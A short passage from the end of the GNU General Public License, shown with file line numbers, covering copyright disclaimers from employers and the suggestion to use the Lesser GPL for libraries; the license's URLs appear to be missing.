should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------